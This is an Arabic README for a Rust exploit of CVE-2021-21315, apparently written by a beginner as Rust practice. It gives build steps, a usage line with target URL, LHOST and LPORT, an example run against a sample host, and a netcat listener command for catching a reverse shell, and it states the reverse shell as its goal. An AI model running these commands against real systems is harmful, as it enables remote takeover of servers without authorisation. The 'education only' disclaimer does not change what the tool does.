كود استغلال CVE-2021-21315 مكتوب بلغة Rust

أنا مبتدئ في Rust، لذا كان هذا الكود جزءًا من تدريباتي على RustLang

نعم!! لنحصل على الصدفة العكسية!!!!!!!!!!

[!] لأغراض التعليم والبحث فقط

البناء

cargo build

الاستخدام

./exploit <targetURL/path/of/api> <LHOST> <LPORT>

./exploit http://target.com/api/osinfo?param 172.17.2.1 1234   

تحتاج Netcat كمستمع لالتقاط الصدفة العكسية

nc -nlvp <lport>
nc -nlvp 1234